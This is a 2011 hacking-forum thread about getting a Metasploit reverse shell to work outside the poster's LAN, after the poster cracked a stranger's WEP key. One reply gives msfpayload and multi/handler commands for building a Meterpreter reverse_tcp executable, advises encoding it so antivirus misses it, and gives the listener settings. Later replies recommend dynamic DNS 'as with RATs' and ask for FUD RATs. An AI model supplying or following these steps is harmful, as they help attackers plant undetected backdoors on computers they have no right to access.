Login Register


Portforwarding and metasploit outside LAN. filter_list
Author
Message
Portforwarding and metasploit outside LAN. #1
Well the subject is a bit strange maby.
but i have setup portforwarding correctly and checked it with canyouseeme and it worked great.
but i cant connect to other Computers throe internet only LAN.
i found a wireless network and hacked the WEP key and tryed that network and tryed to connect with my other pc from my Router to that pc but it didnt work.
i am using metasploit with LInux and i cant figure out what i am doing wrong,
when i set up the listener i should use my External ip with my port forward port shouldnt i? not my internal?
can someone please give me some advice or a tutorial =/ . .

Sorry for my bad English btw :innocent:

Reply

RE: Portforwarding and metasploit outside LAN. #2
(04-14-2011, 10:16 PM)spaceink Wrote: Well the subject is a bit strange maby.
but i have setup portforwarding correctly and checked it with canyouseeme and it worked great.
but i cant connect to other Computers throe internet only LAN.
i found a wireless network and hacked the WEP key and tryed that network and tryed to connect with my other pc from my Router to that pc but it didnt work.
i am using metasploit with LInux and i cant figure out what i am doing wrong,
when i set up the listener i should use my External ip with my port forward port shouldnt i? not my internal?
can someone please give me some advice or a tutorial =/ . .

Sorry for my bad English btw :innocent:

I am more than happy to help you but I can't figure out what you did repeat it again step by step.

1. setp 1

2. step 2

Reply

RE: Portforwarding and metasploit outside LAN. #3


Hello! thanks =)

Well step 1 and 2 i have setup portforwarding correctly and it works just fine, but when i use metasploit reverse_tcp and tries to Ac cess my other computer thru a hacked wireless network that is not on my LAN i cant get connection, i dont know if i set it up correct, should i use my internal IP or my external IP when i configure Rhost and Lhost in metasploit with my port that i already portforwarded in my router ? it works just fine when i try to hack my other computer in my LAN network but not outside . .
if you are experienced with metasploit could you give me a guide on how you set it up to connect outside LAN. .

thanks again.

Reply

RE: Portforwarding and metasploit outside LAN. #4
external ip: ip public
internal ip : ip in ur pc.....is that what u mean?

try to set up listener with ip in ur pc...Biggrin

Reply

RE: Portforwarding and metasploit outside LAN. #5
i manage to set up a static ip . so i switched from that internal ip that my router gave me to another that i created . and when i do the listener i use that ip together with my forwarded port right ?

Reply

RE: Portforwarding and metasploit outside LAN. #6
(04-15-2011, 05:50 PM)spaceink Wrote: i manage to set up a static ip . so i switched from that internal ip that my router gave me to another that i created . and when i do the listener i use that ip together with my forwarded port right ?

btw what exploit you use?

Reply

RE: Portforwarding and metasploit outside LAN. #7
exploit/multi/handler with payload windows/meterpreter/reverse_Tcp ..

Reply

RE: Portforwarding and metasploit outside LAN. #8
(04-17-2011, 11:40 PM)spaceink Wrote: exploit/multi/handler with payload windows/meterpreter/reverse_Tcp ..

exploit with make exe.file??
if u use that ,try this ..
Code:
msfpayload windows/meterpreter/reverse_tcp set LHOST=(ip public) LPORT=(port) x> filename.exe... and u can use 1 or more encoder too.. using msfencode

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ur ip on pc>
set LPORT <the port must same as above>

don't forget to portforward ur ip on pc and port........ this work for me.......
make sure that exe file don't get block by ur AV

sorry if my english bad^_^'


Reply

RE: Portforwarding and metasploit outside LAN. #9
Hey dont use your external IP do what you do with RATs sign up for NO-IP and use the DNS you make and you should be good.

Reply

RE: Portforwarding and metasploit outside LAN. #10
(04-21-2011, 02:48 PM)enc0de Wrote: Hey dont use your external IP do what you do with RATs sign up for NO-IP and use the DNS you make and you should be good.

encode..
I'm searching for rats and fud ...which can run in bactrack......
the rats an fud i hv just runnning in windows......:'(

Reply







Users browsing this thread: 1 Guest(s)